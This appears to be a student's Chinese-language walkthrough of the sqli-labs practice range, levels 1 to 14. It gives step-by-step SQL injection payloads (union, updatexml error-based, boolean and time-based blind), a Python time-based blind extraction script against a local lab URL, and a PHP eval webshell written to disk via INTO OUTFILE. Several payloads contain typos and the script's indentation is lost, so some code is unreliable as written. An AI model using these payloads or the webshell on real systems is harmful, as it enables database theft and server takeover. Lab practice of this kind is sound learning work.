前言:目的是通过构造sql语句来窃取数据库数据
一.sqli-labs靶场(1~4)
1~4使用了union联合查询+字符型注入,要点在于闭合单双引号+括号
要点:union联合查询
- UNION 操作符用于合并两个或多个 SELECT 语句的结果集
- UNION 内部的 SELECT语句必须拥有相同数量的列
- 列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同
order by 判断字段数
1.less1
order by 判断出有三个字段
union 联合查询显错位
database()拿到数据库名
这里联合查询报错,csdn得知是查询的表排序规则不同
mysql中Illegal mix of collations for operation “UNION”错误的解决方法_illegal mix of collations for operation 'union-CSDN博客https://blog.csdn.net/wkj001/article/details/123549107
后面查的是information_schema数据库下的table_name字段
前面是什么嘞,通过vscode查看源码发现是security数据库的users表
通过navicat查看得到table_name字段排序规则为
security的users表username与password字段排序规则为
更改security的users表username与password字段排序规则与table_name字段排序规则相同
再刷新联合查询web页面,发现就可以了
联合查询使用的代码,id为10是让正常查询无结果,从而显示想要的字段
?id=10' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 1,1 -- qwe
这里想要拿到不同的表名,更改limit函数范围,从0开始,0是第一个,后面是范围
使用group_cancat函数可以直接拿到多个表名,但是有时会过多显示不全,使用substr函数截取即可
column_name爆破列名,后面加条件 table_name='表名'
2.less2
第二关没有单双引号+括号,数字型注入,不用闭合
判断是否存在注入:?id=1'and1=1-qwe
判断字段数:?id=1'order by 3--qwe
判断显错位:?id=10'union select 1,2,3-- qwe
判断库名:?id=10'union select 1,2,3-- qwe
判断表名:?id=10'union select 1,table_name,3 from information_schema.tables where table_ schema='security'-- qwe
判断列名:?id=10' union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='emails'-- qwe
判断数据:?id=10'union select 1,id,3 from emails-- qwe
--后加东西是防止注释不生效
3.less3
第三关使用括号和单引号限制变量,在于如何闭合单引号和括号
直接闭合测试注入点
发现可以,那前面操作想拿啥就查啥
4.less4
第四关括号,闭合括号
加了括号就可以了嘛,no no no!!!
看源码
这里id被拼接了,把单双引号闭合掉就可以了
二.sqli-labs靶场(5~7)
5.less5
测试发现有注入点 1=1时正常显示,1=2时无法显示
order by 4 拿到字段数为三
union 联合查询发现没有显错位
这里就有两种方法,一种是盲注,一种是报错注入
- 报错注入主要利用extractvalue和updatexml两个函数
- 判断是否存在注入:?id=1'and 1=1--gwe
判断库名:?id=1 'and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)-- qwe
判断表名:?id=1 'and updatexml(1,concat(0x7e,(select table_name from information_ schema.tables where table_schema='security' limit 0,1),0x7e),1)-- qwe
判断列名:?id=1 'and updatexml(1,concat(0x7e,(select column_name from information_ schema.columns where table_schema='security' and table_name='emails' limit0,1),0x7e),1)-- qwe
判断数据:?id=1'and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)-- qwe - 0x7e是~号,目的是让他报错,concat函数是拼接子句
查什么取决于子句写什么,这里要注意的是and语句的特性,前后都为真才会为真,所以前面不为真,后面可能不会执行,子句也就不会执行,可以用 or ,前面写假.
6.less6
第6关依旧是报错注入,盲注是啥不知道,有空再学吧,学不过来了,闭合方式改一下,拼接了双引号
7.less7
文件上传条件有三个
1.网站具有root权限
2.没有限制文件上传路径
3.拿到物理路径
在利用sql注入漏洞后期,最常用的就是通过mysql的file系列函数来进行读取敏感文件或者写入webshell,其中比较常用的函数有以下三个
into dumpfile()
into outfile()
load file()
union select 1,'<?php eval($ REQUEST[8])?>' into outfile 'c:/phpstudy/www/1.php'
这些都是需要设置secure file priv,如果他为空则可以指定任意目录,如果有设置等于某个路径就只能在这个指定路径下,而他为null时则禁止导入导出功能
写路径是\只用写一个,windows下//得写两个
?id=1'))union select 1,"<?php eval($ REQUEST[1])?>",3 into outfile "
D://phpstudy_pro//www//sqli-labs-master//shell.php"-- qwe
三.sqli-labs靶场(8~14)
8.less8
套路先and测试注入点,order by 查字段,联合查询判断显错位
这一题我们还是按照之前的步骤,找注入点、找字段数、找显错位,发现这里根本没有显错位,这个时候我们就可以利用盲注的方法去尝试,盲注中会涉及到的函数。
布尔型盲注
length()函数 返回字符串的长度
substr()截取字符串(语法:SUBSTR(strpos,len);)
ascii()返回字符的ascii码[将字符变为数字wei
时间型
sleep()将程序挂起一段时间n为n秒
if(expr1,expr2,expr3)判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
猜解库名长度
'?id=1' and (length(database()))=8-- qwe
利用ASCI码猜解当前数据库名称:
?id=1' and (ascii(substr(database(),1,1)))=115--qwe 返回正常,说明数据库名称第一位是s
?id=1' and (ascii(substr(database(),2,1))=101--qwe 返回正常,说明数据库名称第二位是e
猜表名:
?id=1' and (ascii(substr((select table_name from information_schema.tables where table_ schema=database() limit 0.1).1.1)))=101--awe如果返回正常,说明数据库表名的第一个的第一位是e
猜字段名
and (ascii(substr((select column_name from information schema.columns where table_ name='emails' limit 0,1),1,1)))=105--qwe 如果返回正常,说明emails表中的列名称第一位是i
substr(子句,位数,个数)
在前端页面暴力破解慢,可以使用工具或者写python脚本
python中chr()函数将ascii倒回去
9.less9
第9关在检测注入点时发现1=1,与1=2无区别,这就是布尔盲注和时间盲注的区别,布尔一真一假,会返回不同的页面,时间盲注是无论对错都会返回正确的页面.
老师给的脚本是
import time
import requests
url = 'http://127.0.0.1/sqli-labs-master/Less-8/index.php'
# def inject_database(url):
# name = ''
# for i in range(1, 20):
# for j in range(32, 129):
# payload = "1' and ascii(substr(database(), %d, 1)) = %d-- " % (i, j)
# res = {"id": payload}
# r = requests.get(url, params=res)
# if "You are in..........." in r.text:
# name = name + chr(j)
# print(name)
# break
# else:
# continue
#
# inject_database(url)
def inject_database(url):
name = ''
for i in range(1, 20):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)
res = {"id": payload}
start_time = time.time()
r = requests.get(url, params=res)
end_time = time.time()
if end_time - start_time >= 1:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print(name)
inject_database(url)
布尔盲注利用页面显示正确页面判断猜测正确性,时间盲注利用if函数和sleep函数通过页面时间判断猜测正确性
同样按照盲注的手法,尝试后发现这里无论输入什么条件,回显的结果都是一个,这就证明不能再用刚刚布尔盲注的做法了,要尝试使用时间盲注
猜解库名长度
?id=1'and if (length(database())=8,sleep(5),1)-- qwe
利用ASCI码猜解当前数据库名称:
?id=1' and if((ascii(substr(database(),1,1))=115),sleep(5),1)-- qwe 延时,说明数据库名称第位是s
?id=1' and if ((asci(substr((select table_name from information_schema.tables wheretable_schema=database() limit 0,1),1,1))=101),sleep(5),1)-- qwe 延时,说明数据库名称第二位是e
猜表名:
?id=1' and if ((ascii(substr((select table name from information_schema.tables where table_ schema=database() limit 0,1),1,1))=101),seep(5),1)-- qwe 延时,说明数据库表名的第一个的第位是e猜字段名
?id=1' and if ((ascii(substr((select column_name from information_schema.columns where table_ name='emails' limit 0,1),1,1)=105),sleep(5),1)-- qwe如果返回正常,说明emails表中的列名称第一位是i
10.less10
第10关和第9关相同,区别在于闭合方式被q拼接了,使用时间盲注+更改闭合
11.less11
看到十一题首先就能发现,他的传参方式和以往是不同的,这次变成了post传参,但他们的注入方式是差不多的
尝试万能密码:'or1=1-- qwe
判断字段数:'or1=1order by 2-- qwe
判断显错位:'union select1,2-- qwe
判断库名:'union select 1,database()-- qwe
判断表名:?id=10'union select 1,table_name from information_schema.tables where table schema='security' -- qwe
判断列名:?id=10'union select 1,column_name from information_schema.columns where table_ schema='security' and table_name='emails' -- qwe
判断数据:?id=10'union select 1,id from emails-- qwe
万能密码试一试
为什么嘞,前面说过and 与 or的判定机制,1=1显然成立,or有一个成立即可
套路查字段,1=1不能删,否则不会执行子句
套路union联合查询
像查什么更改子句即可,post比get更方便
12.less12
12关的区别在于闭合方式不同
13.less13
13关显示报错信息,使用报错注入
updatexml函数包裹子句,更改子句即可得到不同信息
14.less14
14关闭合方式不同,依然是post的报错注入